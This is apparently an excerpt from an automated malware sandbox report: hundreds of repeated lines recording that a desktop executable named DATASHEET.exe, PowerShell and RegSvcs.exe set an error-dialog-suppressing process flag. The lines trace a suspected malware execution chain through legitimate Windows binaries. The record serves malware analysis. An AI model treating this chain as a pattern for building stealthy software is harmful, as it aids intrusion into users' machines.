Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\DATASHEET.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
